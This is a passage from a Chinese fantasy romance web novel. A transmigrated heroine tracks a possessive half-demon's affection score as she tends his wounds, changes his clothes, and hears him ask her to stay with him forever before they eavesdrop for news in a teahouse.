可奚逢秋一直没有说过类似的字眼,反而是他苍白的指尖不停震颤,即使池镜花没在触及他的伤口,他整个人看上去也非常愉快。 池镜花以为哪里弄错了,在替他处理好右手的伤口后,又抓起他的左手,探出指腹轻轻按住他左手的血肉,迅速松开。 肌肤碰到他的血肉一刹那,少年因情绪兴奋身躯震颤得厉害,轻轻歪过头时,隐隐露出一截漂亮的锁骨,可见发丝落下的一滴水珠轻轻滑过。 “你又碰我了。” “是不小心,不小心的!” 池镜花因心虚而无意识提高嗓门,心底却满腹疑问。 只要她碰到他的伤口,他的反应还是很大,这说明触碰的依旧有效,可她分明没碰啊…… 所以,他到底在高兴什么? 池镜花一个脑袋两个大,决定等处理好伤口直接问,问他为何只是包扎一下伤口会叫他反应如此强烈。 接下来,不管他如何反应激烈,池镜花全当不知道,她垂着脑袋,专心致志地为他擦拭血迹、包扎伤口。 在将他的两只手翻来覆去几次以后,池镜花终于终于替他包扎好手腕处的伤口,可还有脚腕的伤。 男人是把他的手筋脚筋皆挑断了,池镜花该庆幸他血脉特殊,只需要修养一段时日就好,否则可不会这么轻松。 池镜花坐在床边,没有征求他的意见,直接撩开他的衣衫,露出脚腕。 只见伤口筋骨断裂血肉模糊,空气中弥漫的血腥味更甚。 池镜花顿时呼吸一滞,食指指尖沿着伤口的四周缓慢细致地打了个转。 她的肌肤虽没有直接与他的血肉相贴,却仍给予他一阵奇妙的感觉。 奚逢秋五指虽无法聚拢力气,可操纵的白丝却一直缠住她的小指,此刻更是收紧了些力气。 “好奇怪。” 他的声音在微微发颤。 池镜花抬头望他,情不自禁地顺着他的话往下问。 “哪里奇怪?” 白丝似为他送来少女指尖温暖的气息,奚逢秋苍白的面颊不由浮出个愉悦的笑。 “那里,还是第一次被你触碰,所以很奇怪。” 池镜花怔住几秒,简直哭笑不得。 这当然是第一次,因为正常情况下,她怎么可能去抓他的脚踝和脚腕。 又不是什么变态! 屋外送来一阵清凉湿润的风,少女半湿的发丝轻轻扬起。 她低低“哦”了一声,实在不知做何回应。 怕说多了令自己陷入尴尬的境地,池镜花索性跟方才一样专注做事。 只不过由于手脚二者的差别,池镜花在替他包扎伤口时更加小心谨慎。 毕竟他的身体实在太敏感,又是首次触碰,要是让他感觉不舒服不太好。 但她似乎想太多。 奚逢秋不仅不难受,反而在她不间断地接触下,愈发享受她带来的一切愉悦体验。 无法言说。 但是很高兴。 高兴到身体止不住颤抖,眼底渐渐漫上一层淡薄的水雾。 他想要留住这般情绪。 可要怎么做? 池镜花对于他的想法浑然不觉,在为他系好最后的纱布后复又抬头。 “好……”了。 一句话还没说完,系统提示音响起。 【男配好感度+5,当前好感度55/100】 怎么回事? 震惊之余,池镜花潮湿的乌睫颤了颤,一双亮晶晶的杏眼眨个不停。 联想他前前后后的奇怪反应,池镜花觉得好感度提升的关键点应该在于他的情绪涌动,可她疑惑的点也是这个。 他到底为何高兴? 池镜花眼眸低垂,睫毛不停颤动,尚未想明白他究竟因何心动,清风将少年温柔到极致的平静道谢卷入她的耳蜗。 “多谢。” 池镜花将疑惑的目光重新投在他身上,盯着他垂落的指尖。 手腕处经过清理的伤口止住了血,也缠上轻盈的白色纱布。 要说跟之前有什么不一样的地方…… 刹那间,池镜花灵光一现。 靠! 明白了。 全都明白了。 正因为他手脚受伤无法动弹,所以不管是伤口的清理还是包扎,都只能任由自己“随意摆弄”,因此,才叫他体会到被操控和压制的快乐。 他是因为这个而高兴,并非单纯由于她的触碰。 啊啊啊有病。 纯纯有大病! 池镜花偷偷深吸一口气,慢慢地,开始冷静下来。 但由于误打误撞增加好感度的行为,她认为,他们之间还能再进一步。 只需要她按照这个思路主动出击。 此时此刻,有个大胆而刺激的念头在她心中缓缓升起。 她慢吞吞地来到他身旁坐下。 几乎在同时,少年微微侧头“望”着离他仅半步之遥的少女,湿漉漉的发尾滴落的一颗雨珠划过她的手背。 “怎么了?” 仗着他看不见,池镜花不加犹豫地将十指轻轻搭上他的双肩,即使下定了决心,但难免留有几分羞耻心,十分不好意思地轻咳一声。 她贴着他耳畔,咬了咬红润的唇瓣,刻意压低的声音断断续续。 “奚逢秋,你要不要……我帮你换衣服呀?” 第74章 第74章要摸摸吗? 挂在树梢和屋檐的雨滴下坠速度趋于缓慢,某个时刻,四周变得极静。 当池镜花吞吞吐吐地将整句话说完,她觉得自己就像那影视作品的无良登徒子,怎么可以直接要求帮他换衣服啊! 这跟把他衣服扒了有什么区别! 少女低垂的睫羽如打湿的蝶翅不停震颤,不由将殷红的唇咬得更紧。 奚逢秋佯做思考状,语速轻轻慢慢,如圆润玉珠 掷地时发出动听的声响。 “换衣裳啊……” 池镜花本就难为情,当“换衣裳”三个字从他嘴里不经意地提起时,双颊瞬间爆红,全身上下的温度烫得惊人,仿佛在热水锅里滚过一趟。 她急得直摆手,双眼也在不停眨动。 “不是不是,我跟你开玩笑的!” 话音落下,空气陡然停滞,只能闻见双方的心跳和呼吸声,然而都被她完全掩盖着。 “玩笑?” 少年一句话打破寂静,察觉出她此时此刻的紧张,面上的淡淡笑意不减,微微歪了歪脑袋,吐出的话语中夹带些许疑问。 “那你不想帮我换衣服了吗?” 想……吗? 对于这个回答,理智告诉她应该矜持些,可她偏想屈服于内心的欲望。 池镜花随心而动,二度紧抓住他的衣裳,一眨不眨地正视着他,呼吸彻底乱了。 “……想。” 她的身躯不自觉向她靠近,直至逼近他眼前,忍不住眨了一下眼睛,所吐露的每一个字都让她的心脏在敲鼓。 “……可以吗?” 不管怎么说,她总得仔细确认一下对方的想法,不然强行上手,就真跟地痞流氓没区别了。 仿佛感受到少女纤长的睫羽震颤时轻轻划过他的脸颊,他试探着前进半分,蓦然贴上她滚烫的额头。 “我从未说过要拒绝你。” 残留的少量雨水在二人紧紧相贴的额间迅速化开,逐渐变为朦胧的水汽,若有似无地萦绕在他们四周。 “相反,我还有些期待。” 说罢,他轻轻扯了下缠住她手腕和指尖的白丝。 猝不及防的一道外力袭来,池镜花没注意,一个前倾,在他的操控下,脸颊贴着他的颈侧,双手只能搂住他的脖颈,彻底地抱住了他。 他看上去异常高兴。 “就像是这样,哪怕仅仅是一个拥抱已很高兴,若是让你替我换衣裳,或许会比拥抱更让人身心愉悦。” 池镜花愣住两秒才眨眼回神,怎么也没想到他居然会这么说。 所以,他方才的疑问并非询问她想不想帮他换衣裳,而在邀请她。 她倘若回答不想帮他换衣裳,以他个性,定会想尽办法让她靠近自己,引导她主动解开他的衣裳。 归根结底在于她开了个头,却无意中勾起了他强烈的好奇心。 真是服了! 池镜花双臂用力搂紧他,脸颊不大安分地蹭了他两下,随即坐在他身上,低下头,做势解开他的腰带。 他的墨色腰带采用的是最普通系法,本该很容易就被解开,可池镜花却在指尖触碰到的刹那间回想起那几乎快要忘却的春梦。 虽然春梦中断在她要替他解开衣裳前一秒,但用脚指头想想也知道后面的剧情有多少儿不宜。 离谱…… 好吧,她还是挺喜欢的。 因为那可是她第一次看见男配对她如此动情哎。 听见她莫名加速的心跳,意识到她指下动作已经停止,奚逢秋神情极为不解地“望”着她。 “怎么了?” 池镜花心虚地直摇头,“没什么没什么。” 语毕,不管三七二十一,池镜花直接解开他的腰带,扔在一侧,又将他的外衣扒开一点点,余光瞥见他劲瘦苍白的腰身,不好意思地抬了抬头,又看见他锁骨上两排清晰可见的牙印。 池镜花瞳孔渐渐放大,指腹轻轻按住她曾留下的伤口,不由抬头震惊地看向他。 “这个怎么还没好?” 当她毫无保留地碰到自己时,一丝痛楚从伤口蔓延直颈侧,他不禁向左歪了歪头,语调夹带着难以克制的愉快。 “不清楚。” 池镜花不确定地问道:“会好的吧?” “也许?” 他看上去有些不明所以,下一刻,倏忽轻笑一声,乌黑潮湿的发丝微微荡过颈间。 “不过,我还不想让它那么快消失。” 虽然过去不少时日,可奚逢秋一直记得她都还的牙齿咬在他锁骨、舌尖舔舐伤口的奇妙触感,也许正因为感受疼痛的伤口也是由她给予的,跟其他都不一样。 池镜花诧异地微微张开了口,怎么也没想到他居然已经变态到这种程度。 算了。 他高兴就好。 至于这个伤口……她多多观察留意。 池镜花敷衍地道了声“好好好”,从他身上爬起来,决定绕到身后替他换衣裳,至少在后面不会叫她那么尴尬。 事实证明这果然奏效。 池镜花跪坐在他身后,一鼓作气地替他褪去上衣,假装淡定的目光向上掠去,不想在他的后背肩胛处,望见一朵未曾看见过的淡紫色莲花。 她想起奚逢秋为莲花妖一事,顿时,尴尬个羞耻荡然无存,只对他后肩胛的盛开的紫莲十分感兴趣。 “这个你本体的样子吗?” 声音听着兴奋又新奇。 奚逢秋轻轻地“嗯”了一声。 他虽完整继承了母亲的妖怪之血,但跟母亲不太一样,母亲没有而且也十分厌恶这朵象征妖怪身份的莲花。 他不知原因。 “很奇怪吗?” 池镜花眼睛亮晶晶的,如实回答:“不奇怪,很好看!” 又是意想不到的回答。 不管池镜花究竟在刻意讨好他还是真心话,至少会让他感到非常非常高兴和满足。 春风轻拂,吹着他的发丝纠缠上少女的。 奚逢秋微微偏了偏头,唇角扬起个笑来。 “那要摸摸吗?” 摸? 虽然池镜花对他的妖身十分好奇,但对于他的主动行为,她真的很难不怀疑他是不是又在故意钓她。 池镜花思考几秒,双手突然背到身后,表情正经得不行。 “如果我说不摸呢?” 他微微低下头,微弱的声音听不出情绪起伏。 “没什么,我还以为你会喜欢。” 确定了。 他就是在故意引诱她! 比起在金德镇,他耐心地以自身为诱饵将山匪剿灭,在与她相处的这段时间里,奚逢秋在钓人时不仅很有耐心,还会以退为进,适当的时候更会卖乖。 池镜花不得不承认,他的这些聪明的小花招把她钓得心里很痒,更有一种他其实也在渴望着她的感觉。 尽管他什么也没说。 下一刻,池镜花脑子一热,右手指腹直接轻轻覆上,同时不忘大声提醒。 “好了,摸了摸了!” 感受到身后传至的温热,奚逢秋不由得满足地笑了笑。 “喜欢吗?” 池镜花毫不吝啬地表达自己内心最真实的感受,一个劲地点头,垂落的潮湿发尾时不时扫到他的肩膀。 “喜欢喜欢,喜欢得不得了!” 不知怎地,他最近似乎挺爱故意让她说“喜欢”两个字,若只是这种程度,她大可以对他说千遍万遍的“喜欢”,可她还想问他一个至关重要的问题。 ——你到底喜不喜欢我呀? 可她不敢。 万一她判断失误感情不到位,让他觉得厌恶,落得跟曾经对他表过白的那位姑娘一样的下场怎么办? 总不能出师未捷身先死呀。 思索间,她指腹轻轻压着紫莲,指腹细指地描摹出花瓣的纹路和形状。 他第一次知道,原来承载着他全部妖力的莲花比身体大部分区域都要敏感得多,随着池镜花的指尖轻触,仿佛有只无形的火龙游走在身体四周,躯体在微微颤抖中发热。 实在是难以描述的奇怪。 察觉指下传来的异样,池镜花瞳孔一转,起了坏心思,于是指尖一顿,接着又是狠狠一按,然后迅速抽离手指。 距离她方才摸他还不到片刻。 比以往任何一次都要短。 少年疑惑不解地微微偏头,耳铛微微晃动,被雨水冲刷后仿佛红得滴血。 “做什么?” “当然是要帮你换衣服了。” 池镜花一副理所当然的样子,又盯着他后脸颊的本体莲花看了几秒,忽地轻咳一声,双颊飞上一抹潮红。 “放心,就算是在换衣服的时候,我也会偶尔碰碰你的,因为,我真的很喜欢你身上的莲花,我发誓,绝对没有骗你!” 替他换衣裳本就会不可避免地碰到他身体各处,这样一来,既满足了他,也不会让自己太过尴尬。 池镜花默默为自己聪明才智点赞。 听完她发自肺腑的保证,奚逢秋才没再说什么。 他安静地回过头,因压在床板的十指生出的白丝一直缠着池镜花,随着她的动作, 指尖时不时被轻轻扯动抬起。 一举一动完全受她牵引。 身体也因她在为他完全褪去衣裳,指尖偶尔会滑过他的敏感点,因此时而带来的巨大愉悦,没有临界点。 为何总会如此? 似乎只要她在自己身边时,一切都变得有意思起来了。 池镜花虽然大胆,但埋头苦干大半天也只敢帮他换了上衣,同时,她遵守约定在换衣服的时候,时不时偷偷摸了一下他的莲花。 若非他真的喜欢被她触碰,池镜花觉得自己不亚于那猥琐的变态,以至于换完衣裳后,她整个人又烫又红,连毛孔都冒着蒸腾的热气,呼吸急促地快要晕厥过去。 这对她来说,还是过于刺激了。 下次还是不做了。 低头为他系好腰带的下一秒,系统的提示音响起。 【男配好感度+5,当前好感度60/100】 第75章 第75章一直与我在一起。 阴雨连绵地下了好些天,本已经回升的气温又冷了不少。 天气湿冷,森林里到处都是水坑,实在出不了门,所幸屋子里保存着些必需的生活用品。 时间匆匆而过,已记不清是进入幻境的第几天,但由傩神制造出的幻境未被撼动分毫。 本正趴在桌上睡午觉的池镜花一个惊醒,神情呆愣地眨了眨眼睛,转眼将混沌的梦境忘得一干二净,倒是扭头看见坐在她身侧的奚逢秋。 经过这几日的修养,他手脚的伤势虽然没有完全愈合,但走路已无大碍,就是眼球敏感,要自我恢复的话还得花上不少时间。 此时此刻,双目覆着白绫的少年正安安静静地坐她身旁,修长的指尖勾住她的一缕乌发,故意一圈圈地缠在自己的指尖。 察觉身旁传来的细微动静,他微微侧头仔细辨认,唇角不禁荡漾出个极淡的笑。 “醒了吗?” 池镜花微微点头“嗯”了一声,从他手里摸回自己的头发,却嗅见发丝上还残留着他的气息。 香香的。 可真好闻。 等等! 池镜花蓦然抓起自己的衣袖和领口闻了闻,发现不仅是头发,全身上下都被他的香气给腌入味了。 这也难怪,这些天,他们虽然关系纯洁,但每天同吃同睡,怎么可能毫无影响。 正常,正常。 池镜花叹了口气,很快接受这一事实。 刚醒不久,她发现自己口干舌燥的,却发现桌上的茶壶已没有热水,正想去后院厨房弄点水喝,不想一起身,发觉方才还一无所有的手腕又被一缕白丝缠住。 冰凉的触感如水蛇般附身而上,池镜花不明所以,“为什么又要缠住我?” “我看不见。” 他说话时的表情极其平静,只是脸色依旧不太好看,总让人有种他身体不好的错觉,说起话来总是温和中透露出一丝不易察觉的疯狂。 “可却很想知道你在何处,在做什么。” 池镜花简直哭笑不得,“我就喝口水。” 窗外吹进的冷风将少年乌黑的发尾轻轻扬起,他乖巧地应了一声,看似已完全理解她说的话,可却没有松开的打算。 刹那间,他指尖一颤,白丝猛地收缩,紧紧贴着她的肌肤,仿佛与她脉搏相连。 池镜花下意识地骤然缩手,可却发现,不管她怎么躲都没用。 他虽眼睛失明,可其他感官却极为敏锐,一旦被他精准定位到位置,除非他主动松手,否则她绝无可能挣脱束缚的。 不知道他到底想做什么的池镜花有些苦恼地戳了下冰凉的丝线。 “那你轻点,我不想受伤。” “别担心,它不会伤害你的。” 因感受到白丝在被她触碰,连带着奚逢秋的指尖也微不可察地颤抖一下,温温柔柔的声音听着却和以往没什么不同。 得到他的保证,池镜花才敢放心离开此处,可总觉得他很奇怪。 这几日,不管是吃饭睡觉还是做别的事情,他都不曾离自己十步开外,黏湿潮热的“视线”一刻也没有从她身上移开过,就算自身无法行动也会想尽办法,让池镜花清晰感知到他的存在。 病态的占有欲只是一方面,至少这里没有其他人,或许,他只是单纯想与她在一起,分享她的一举一动。 池镜花躲在后院厨房的角落里,聆听着外界淅沥沥的雨声,一边往灶台里丢柴火一边回想起这些天发生的一切。 总觉得他的变化好像是从好感度上升至60开始的。 ……是动心的表现吗? 在以前,他对她就已表现出那样偏执强大的占有欲,况且,现在已进入攻略的后半程,他这般依赖她,倒也能说得过去。 就是不知道什么时候才能真正喜欢上她,从他嘴里听见“喜欢”二字。 池镜花本还十分高兴男配对自己态度上的转变,顿时,陷入无尽的迷茫中。 因为她真的很想让他快点喜欢他呀。 思考间,水已经烧开,池镜花赶紧给自己泡了壶热茶,又给奚逢秋倒了一杯。 “喏,给你。” 她举止自然地将其中一杯推至他跟前,自顾自地捧起另一杯热茶暖身。 奚逢秋没有说话,他在思考一件事。 因白丝与他本体相连,通过这些,他可探查到池镜花的脉搏跳动情况,以此推测她的情绪状态:一开始是疑惑,继而高兴,最后又失望。 她方才在想什么呢? 真是好奇。 念及此,他莫名想要将食指插|进热茶中。 见情况不妙,池镜花眼疾手快地握住他的食指,看看攥紧在手心里,眼睛微微睁大,语气中蕴着止不住的怒意。 “干什么?你不知道烫吗?” 即使知道她在生气,奚逢秋不骄不躁地反手握住她的,微微歪过脑袋,看不见眼底神色,语气却无辜得紧。 “因为我看不见。” 由于太了解他的性格,池镜花根本不信他这一套,指下不由加大力气。 “骗人,你根本就是故意的!” 奚逢秋却被她剧烈的反应给逗乐,不禁笑了出来,发丝慢悠悠地荡至身后,双肩也跟着微微抖动。 “好聪明。” 似乎她总是这般聪明,不管他耍什么小花招总会被她轻易识破,可他却不能知道她的一切…… 不用他反复夸奖,池镜花也知道自己智商不低,可有时候,明知道他在给自己下套,她却因各种各样的原因选择满足他。 并非全为了攻略他。 池镜花甚至开始有点搞不懂自己。 思考间,漆黑的瞳孔逐渐失去焦距,意识尚未完全游离出走之前,耳边蓦然响起一道清冽的嗓音,给予了她想要的最真实的回答。 “因为你已经很久没有触碰我了。” 雨接连下了好多天,已从瓢泼大雨变成毛毛细雨,远处的天空不知何时已冒出一缕金色的光,似有放晴的预兆。 立在森林深处的竹屋内,漂亮却双眼受损的少年表情煞是平静,指腹不停摩挲她细白的指尖,贪婪地不知满足。 尽管他可以通过各种各样的手段知晓她的情绪,可他却不能化为她身体的一部分,不知道她内心的真实想法,更不能永远定位她的位置。 没有碰他就要自伤吗? 这是什么强盗逻辑? 再说了,哪有很久?不才半天吗? 池镜花只觉得头疼,没有抽回手指,任由他随意抚摸,并试图与他好声好气地讲道理。 “奚逢秋,我不可能一天到晚都触碰你。” 听她所言,少年蓦地指尖一顿,抓住她的手指,慢慢地,顺着她的指缝,将自己的手指插|入其中,慢慢完成与她十指相扣的亲密动作。 “为什么?” 说话间,因视力受阻,他虽然很想与她再近些,却只 能用另一只手摸索着试探地抚上她的脸颊,一路往下,掌心轻轻覆上少女颈侧柔软的肌肤,唇角含着清润的笑容。 “你不喜欢碰我了吗?” ……不是,他也太黏人了吧。 怎么一天到晚就想要被触摸啊? 即使池镜花不会讨厌触碰他,但不代表每时每刻都想与他做这些事。 她深吸一口气,双手搭在他的肩膀,即使他看不见,也要表情郑重地道:“没有不喜欢,因为我是独立的个体,我也有我自己的事情要做。” 少年微微歪过脑袋,耳铛轻轻晃动时,冷白的颈侧仿佛被倒映出一抹细长的鲜红。 “你想要做什么?” 分明隔着白绫,可随他话语掷地时,池镜花却总能感觉到一道灼热黏湿的目光正在扫视她的五脏六腑,悄无声息地滑进她的血液,衍生出与她融为一体的强烈欲望。 池镜花不免有些愣神,全身血液却因此燃烧沸腾,十指不由地轻轻抓住他浅白的外衣。 探测到覆在肩上的柔软在逐渐发热,奚逢秋继而指尖压住她的后颈,完全锁住她的动作。 “我帮你,好不好?” 一字一句皆夹带着诱人的哄。 顿时,池镜花回想起奚逢秋在过去习惯性做的那些事,诧异地睁大双眸,欲推开他,可怎么也做不到。 “我不想杀人!” 对于这意料之中的反应,奚逢秋不觉奇怪。 他露出纯良天真的笑容。 “你也可以利用我做别的事。” 做别的事? 听上去他今后好像会完全受她差遣一样,但换句话说,不管她如何拒绝,奚逢秋接下来只会更加寸步不离地守着她。 “我不要你做……“什么。 所有未说完的话就这样被她吞入腹中,池镜花忘记了眨眼,恍然意识到自己所错过的重要信息。 虽然以前他一直渴望她的触碰,也会注视她凝望她,可像如今这般几乎每时每刻都无比渴求她的触碰和陪伴,还从未有过。 联想到已经破半的好感度,池镜花打包票他对自己的感情已经发生了质的变化。 尽管她不敢直接询问他是否喜欢自己,但换个方法旁敲侧击一下还是值得一试的。 她紧张得心脏怦怦直跳,表情却极为表情严肃认真。 “不对,奚逢秋,你到底想干什么?” 面对她赤|裸|裸呢“质问”,少年愣住几秒,旋即发出一声极轻地浅笑,唇畔翘起个漂亮的弧度。 “很奇怪。” 连他自己都说不上来的奇怪,可却是实际存在的。 不管是与她独处还是她的触碰,又或者是亲吻,奚逢秋不可否认自己十分享受这些。 就算不杀人,只要她一直待在自己的身边,在他所能看见、感受到、触碰到的地方,就能让他体会到不一样的情绪体验。 但她只会“有时”,甚至“偶尔”,并非“永远”。 可他想要的远不止于此。 “我想让你留在我身边,一直与我在一起。” 第76章 第76章咬住他的手指。 下了好些天的绵绵春雨总算停了。 金色温暖的日光不知何时探出头来,斜照着从窗棂和门口透进屋内,逐渐攀上他的衣袂和侧脸,在他的四周抖落下一层淡淡金粉。 少年的面颊虽漾着柔和的笑,可压在她后颈的指尖却将她完全禁锢。 “留在我身边吧,一直与我在一起,可以吗?” 他虽以询问的姿态去说出这句话的,语调温温柔柔,可字字句句之间却透露出一丝危险的偏执。 他的话语在池镜花脑海中不断重复,她开始慢慢睁大双眼,满脸的不可置信。 “你、你、你、你——” 因情绪过于激动,池镜花连一句完整的话都说不出口,只剩下血脉喷张,心跳不断加速。 敏锐察觉到她极其不正常的心率以及此起彼伏的情绪,奚逢秋不由自主地伸手轻轻地抱住了她,指尖覆上她的头发,像情人那般一下下轻柔地抚摸。 在他的安慰下,池镜花激动的情绪莫名安定下来。 她抓着他的衣裳,双手从他的身后慢慢环住他。 意识到她在回应自己,奚逢秋唇畔微扬,高兴地垂头嗅了下她颈侧的的气息,隔着一指的距离,轻轻地吐纳声息。 “你没有离开。” 一道滚烫的气息打在她的耳后,敏感的肌肤不可避免地蔓上一股痒意。 池镜花几乎下意识想躲,可被她这般箍在怀里,只要她稍微动点心思,往旁边移动半分,便会被他按住后脑。 与她这样近距离的面对面拥抱,奚逢秋内心深处升起难以克制的愉悦,尾音微微扬起,无不昭示他此时此刻的好心情。 “还来找我了。” 左右逃不掉,池镜花索幸双臂收紧力气,把脑袋埋进他的颈窝里,报复似的不安分地以鼻尖和脸颊来回蹭他的颈侧。 点点日光打落在她柔软冰凉的的发丝上,仿佛镀上一层朦胧灿烂的雾。 奚逢秋笑着微微偏了偏头,以方便她的“胡作非为”。 得到他的默许,池镜花颇为好奇地抬头看了一眼,发现他反而更高兴了,这意味着她的报复行动失败。 算了。 池镜花停止报复行为,睫羽微垂,认真分析他的两句话,很快明白他是指她冒雨撑伞来救他一事。 “我那是怕你有生命危险。” 因埋在他的颈窝里,脸颊与他肌肤相贴,池镜花声音闷闷的,不大清晰。 “而且,我也说过不会让你死的。” 她想起自己曾在金德镇的墓穴中向他立下过保证,说只要她在的话就不会让他死。 这样一看,即使她并非因为想到这点而救人,但也算间接地履行了承诺。 奚逢秋顺手温柔地将她散落的乌发别至耳后。 “可你还是来了。” 虽然不曾期望过,但当她出现、被她的气息环绕时,他突然觉得若是有她一直陪伴,与她一起活下去也挺好。 虽然他没说太多,可池镜花依旧察觉到情况发生转变——男配对她所生出的情意比之前都要深刻。 她也想予他适当的回应。 池镜花声音很低,紧贴着他的脸颊微微发热。 “嗯,因为你对我真的很重要……” 不单单是任务对象的那种重要,具体是什么她也说不上来。 但她在乎他。 意识到即将发生的事,池镜花挣扎着从她怀里仰起头,双手又快又准地按住他的嘴巴,阻止他问出“为什么”这三个字。 少女卷长的眼睫在阳光下轻盈一颤,瓷白透亮的双颊飞上一抹嫩粉色。 “别问为什么,就算你问了,我也回答不上来,反正对我来说,你就是很重要很重要很重要!” 奚逢秋没有太大反应,唯有一缕缕潮热的气息落在她的手背。 等待片刻,池镜花才慢慢移开双手,刚要松口气,耳畔蓦地响起少年泠泠询问声。 “那可以跟我一直在一起吗?” 因为没有得到确切的回答,他会一直这样问下去。 并非强迫。 虽然他只是不厌其烦地一次次询问,可池镜花却有种感觉,他的每一次询问和试探,言语间都表露出更深的渴望。 ——想要与她在一起。 话题兜兜转转又回到最初,池镜花不得已再一次确认他的心意。 池镜花抬目一眨不眨地盯着他,哪怕他看不见自己,也不愿放过他一丝一毫的情感变化。 “你真的想跟我在一起吗?” 双眼覆着白绫,奚逢秋极轻地点了下脑袋,挂在唇角的弧度不减。 “嗯,我想与你一直在一起。” 自始至终,他都在强调“一直”、“始终”这类字眼,是希望自己可以每时每刻都要看见她、感受她、触碰她。 即使他一连说了好几遍要与她在一起,令池镜花高兴万分,可稍微一冷静,心里总感觉很不踏实。 她用力从他怀里挣脱,只余下一缕发丝若有似无地垂在他的肩上。 奚逢秋指尖稍稍往下,顺势轻轻揽住她的腰肢。 池镜花任由他怎么高兴怎么来,她深吸一口气,神情期待地问道:“你知道这意味着什么吗?” “就像我们现在这样。” 少年握住她纤细腰肢的指尖力气在慢慢收缩,微风吹过时 ,落在白绫上的金粉四处飘零,从池镜花眼前晃过,轻轻沾上她的眉睫。 “你会一直陪在我身边,作为报酬,我可以帮你做任何事。” 不对不对不对。 错了错了错了。 分明是一件非常暧昧的事情,怎么被他说成了交易? 他的脑回路也太离谱了吧! 但“想要与她在一起”这件事,无疑因为他对自己产生了更深层次情感,在此情况下做出的行为抉择,哪怕他理解上大有问题…… 池镜花眨了眨眼睛,失望地轻声叹口气。 “我得考虑考虑。” 奚逢秋不解地微微偏头,隔着轻薄的白绫,目光仿佛细细地“打量”她,低声重复两个字。 “考虑?” 池镜花郑重其事地点头,低头咬了咬唇瓣。 “嗯,因为这件事对我很重要,所以我得认真考虑以后再答复你。” 其实还有个重要原因:她不想让奚逢秋太快得到他所期待的一切。 因为只有经过波折得到的才会叫人印象深刻,况且,他只想跟她在一起,却并未明白这情愫是什么,就连池镜花自己也拿不准他对自己的情感是否可以称得上“喜欢”。 “这样啊……” 听她说完,奚逢秋脑袋微低,表情似陷入沉思,不知在想些什么,但异常平静,没有其他过分要求。 池镜花抿着唇不知该说些什么,索性什么也不做,将脑袋轻轻靠在他肩上,偏过头,目光注视着门外的景色。 春雨过后,树梢发出更多的翠绿色嫩芽,向四面八方延伸,在门口的坑坑洼洼的水坑中倒映出一片片模糊的树影。 池镜花出神地盯了好大一会儿,抱着她的奚逢秋没再说话,像是发现了新大陆似的,指尖一直在抚摸勾缠她的头发。 她早已习惯这一切,只是突然想起一件早在计划中的重要的事情。 微风拂面,少女面颊的温度早已恢复正常,池镜花双手掌心抵住他的双肩,一把推开他,正色道:“哦,对了,雨停了,我得出去一趟。” 听她说要出门,奚逢秋私心不想与她分离,哪怕是片刻也不大愿意。 但他只会耐心地征求她的意见。 “我想和你一起出去,可以吗?” “啊?” 池镜花尴尬地挠了挠脸,上下打量他一番,不确定地回复道:“可是你出去的话,会不会王府里的人认出来?” “应该是会的。” 他坦诚地点头,指节分明的指尖倏忽覆上白绫,轻轻抚了抚,自然而然回想起不久前发生的一切。 “但只要不去王府附近就行了。” “……好吧。” 他这般诚实,而且还给出解决方案,若是拒绝的话倒显得她不近人情。 可话又说回来,他未免也太黏人了点! 恨不得一天十二个时辰都寸步不离地守着她。 ……好吧。 她竟意外地很喜欢。 池镜花觉得最近自己愈发地不正常了。 她默默压下心底这股异样,牵着尚未恢复视力的奚逢秋,在他的指引下,一道往镇上走。 其实,她提出出门,倒也并非无聊想逛街,主要是得采购一下生活用品,然后打听一下,这些天外界发生了何事。 当然,茶馆是八卦闲聊之人的聚集地,想要打探消息,去那最合适。 正值下午,热闹的街边茶馆聚集着许多无所事事的闲人。 池镜花拉他找了个处在阴暗角落里不起眼位置坐下,让茶馆伙计上了壶热茶跟一盘花生。 四面八方的交谈声不绝于耳,一时分辨不出哪些才是有效信息。 她习惯性地坐在他身侧,转过头,乌发扫过颈间,微微倾身靠过去,唇瓣贴着他的耳畔,压低声音说话。 “我们随便听听就好了,万一有傩神的消息呢。” 奚逢秋没有说话,若是以前,他可能会在意傩神,可现在,跟池镜花相比,其他似乎没太大意思了。 他缓慢探出指尖,从桌面摸到一颗未剥壳的花生,“咔嚓”一声,花生壳脱落,只剩个圆润的花生。 下一刻,他将剥好的花生递到她唇边,唇角弧度渐起,露出个柔和清端的笑。 “吃么?” 池镜花淡淡垂眸,看见他因替她剥花生,冷白的指尖已泛起微微红意。 一举一动,无不充斥着某种显而易见的含义:他在故意邀请……不,引诱她吃下他剥好的花生。 真的很像他会做出的事情! 池镜花毫不犹豫张口咬住他的手指。 第77章 第77章怪会引诱人的。 茶馆内纷纷扰扰,嘈杂的交谈声不断涌入耳间。 池镜花凑上前去,几乎毫不犹豫地狠心咬了一下他的指尖,停顿几秒才探出舌尖递过来的花生卷入腹中。 冰冷的指尖甫一触碰到藏在少女齿下的那抹湿热,奚逢秋只遵循本能往里探索。 下一刻,指尖在与她的唇舌无休止的纠缠间,一丝熟悉的疼痛逐渐蔓延。 池镜花很快敛去牙齿,端正坐好,鼓着腮帮子嚼呀嚼,不忘明目张胆地观察他的反应。 他轻轻歪过脑袋,微微笑着。 因为不仅触碰到她柔软的唇舌,还让她咬了自己一口。 真的很有趣。 大抵知道他在想什么,池镜花默不作声时,心里吐槽了句:奇怪的癖好。 望着他食指及拇指上的一排醒目的牙印,甚至残留着些许晶莹透亮的水迹,池镜花双颊一红。 “我帮你擦擦。” 说着,池镜花不顾他的意愿,忙以自己的衣袖来回搓了搓他的手指,直到完全拭去自己的留下的痕迹。 正要松口气,不想池镜花一松手,却发现他的苍白的指尖被自己搓得通红。 似有种欲盖弥彰的感觉。 但奚逢秋没说什么,池镜花索性也不语。 接着,奚逢秋只是面带浅笑地又剥了一颗花生。 仿佛预料到他接下来的动作,池镜花提前从他指尖中夺下,一股脑地塞进嘴里。 “我自己吃。” 见她态度坚决,奚逢秋没有反对,而是极轻地应了声。 池镜花一边注意听旁人的谈话内容,一边往嘴里扔花生。 他剥一颗她便吃一颗,再也不给他任何投喂的机会。 一整盘花生,几乎都是她吃的。 但也不是一直光顾着吃。 虽然池镜花一直分神听人在茶馆里讨论,可坐了一个时辰,愣是没听到有关傩神的任何信息,倒是听到两个交头接耳的年轻人在讨论王府传出来的八卦。 断断续续地只听见几句模糊的对话,讨论的内容大致关于晋王回府一事,说什么晋王这次回府,就再也不会回京师了。 池镜花不理解但大为震撼。 难道说……这相互折磨的两个人突然和好了? 虽然很好奇,可奚逢秋应当不想再听到跟王府有关的一切,也避免他被人认出来。 池镜花一把抓住他的手腕,“好了,吃完了,我们快点离开吧。” 